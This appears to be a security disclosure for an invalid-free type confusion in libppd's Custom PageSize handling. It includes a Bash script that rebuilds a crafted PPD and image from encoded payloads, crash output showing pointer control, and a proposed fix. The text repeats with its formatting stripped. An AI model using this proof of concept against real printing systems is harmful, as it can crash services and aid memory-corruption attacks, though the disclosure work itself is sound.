Summary
The PPD loader accepts Width or Height parameters of Custom PageSize with
a string type. Page-size handling later writes a numeric point value through
the same union, while cleanup still treats the field as an owned string
pointer and calls free() on it.
Validated libppd source:
- tested build:
522af8dd135f4dde66b1aac8b9d067808bbe122d
- current upstream HEAD:
fc41539f761286396a7df8aeeda762070192e37e
The relevant parser, page, and cleanup sources are byte-identical at current
upstream HEAD.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/libppd fc41539f761286396a7df8aeeda762070192e37e.
poc/printer.ppd, SHA-256
039f50e1ef24c8ca9bf6b859bd277b035fa0b6337b51ff96fbcc154b922c2937,
is a five-line, 221-byte PPD. It declares Custom PageSize Height as string
and selects Custom.100x200 by default. Run ./reproduce.sh; changing only
string to points is the non-crashing control.
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: libppd: Custom PageSize type confusion reaches an invalid free
# Finding ID: libppd-custom-pagesize-type-confusion-invalid-free
# Trigger: The PPD loader accepts Width or Height parameters of Custom
# PageSize with a string type. Page-size handling later writes a numeric point
# value through the same union, while cleanup still treats the field as an
# owned string pointer and calls free() on it.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# Malformed or boundary document consumed by the real filter/API.
# Output: document.png (85 bytes)
write_file document.png 4f5f710fca2ff97193c3584c9ec5ab6cb1a381a2256c1e649b2eb7d557b47afe <<'POC_PAYLOAD_0'
H4sIAAAAAAACA+sM8HPn5ZLiYmBg4PX0cAkC0pxAzMQBJBjW267kB1Iyni6OIRVzkhMErhf3ar6L
2tHsGHDYTmd76rdlkxksfrILORQWSYPUe7r6uaxzSmgCAEcHHUVVAAAA
POC_PAYLOAD_0
# PPD configuration needed to select the vulnerable filter state.
# Output: printer.ppd (221 bytes)
write_file printer.ppd 039f50e1ef24c8ca9bf6b859bd277b035fa0b6337b51ff96fbcc154b922c2937 <<'POC_PAYLOAD_1'
H4sIAAAAAAACA11OTwuCMBS/+ykeOwrpnGEkImQeCjoIdYsOK19roE7mFtKnbyJ26PD4wfv99auq
XO1qdccUyDqIieeX+OS2MRUXeJYf99/bwag2iCgdGaWevzBwQmNQhzM4f5aFC3dNIgabLbuFx5YL
2YmiUCN0tmnyfEDTO1mNb/lAMuVp3s4lv+gDSvEyKTAYjHZ2iBNwA1z7n/Ci7TS9Vz38HfG+M/Hj
et0AAAA=
POC_PAYLOAD_1
Result
The real imagetops pipeline writes 1,405 PostScript bytes and then aborts
during ppdClose2() at ppd.c:233. ASan reports allocator access at
0x4347fff0 for free(0x43480000), the float representation of 200.0;
the uninstrumented process exits 139.
On 64-bit builds the numeric page dimension is written as a 32-bit float into
a zero-initialized pointer union, so the demonstrated pointer remains in the
low 4 GiB and normally faults rather than freeing a live heap object. On a
32-bit build the same type confusion gives materially more pointer control.
No arbitrary free of a mapped object or subsequent controlled write is proven.
Control runs with dimensions 200 and 300, selected either by the PPD
default or a job option, move the free() argument from 0x43480000 to
0x43960000. This confirms numeric pointer control, while also confirming the
64-bit low-address limitation.
Cause and expected behavior
ppd.c accepts string for ParamCustomPageSize Height.
ppd-page.c:128 later stores a float in current.custom_points.
ppdClose2() selects cleanup by the declared type and frees
current.custom_string.
Custom PageSize Width and Height must be restricted to the required points
type. Cleanup should only free fields that currently own an allocated string,
not a union member overwritten through another type.
Summary
The PPD loader accepts
WidthorHeightparameters of Custom PageSize witha string type. Page-size handling later writes a numeric point value through
the same union, while cleanup still treats the field as an owned string
pointer and calls
free()on it.Validated libppd source:
522af8dd135f4dde66b1aac8b9d067808bbe122dfc41539f761286396a7df8aeeda762070192e37eThe relevant parser, page, and cleanup sources are byte-identical at current
upstream HEAD.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/libppd
fc41539f761286396a7df8aeeda762070192e37e.poc/printer.ppd, SHA-256039f50e1ef24c8ca9bf6b859bd277b035fa0b6337b51ff96fbcc154b922c2937,is a five-line, 221-byte PPD. It declares Custom PageSize
Heightasstringand selects
Custom.100x200by default. Run./reproduce.sh; changing onlystringtopointsis the non-crashing control.The following commented Bash script constructs the exact PoC and control
inputs. Save it as
make_poc.sh, then runbash make_poc.sh poc.Result
The real
imagetopspipeline writes 1,405 PostScript bytes and then abortsduring
ppdClose2()atppd.c:233. ASan reports allocator access at0x4347fff0forfree(0x43480000), the float representation of200.0;the uninstrumented process exits 139.
On 64-bit builds the numeric page dimension is written as a 32-bit float into
a zero-initialized pointer union, so the demonstrated pointer remains in the
low 4 GiB and normally faults rather than freeing a live heap object. On a
32-bit build the same type confusion gives materially more pointer control.
No arbitrary free of a mapped object or subsequent controlled write is proven.
Control runs with dimensions
200and300, selected either by the PPDdefault or a job option, move the
free()argument from0x43480000to0x43960000. This confirms numeric pointer control, while also confirming the64-bit low-address limitation.
Cause and expected behavior
ppd.cacceptsstringforParamCustomPageSize Height.ppd-page.c:128later stores a float incurrent.custom_points.ppdClose2()selects cleanup by the declared type and freescurrent.custom_string.Custom PageSize Width and Height must be restricted to the required points
type. Cleanup should only free fields that currently own an allocated string,
not a union member overwritten through another type.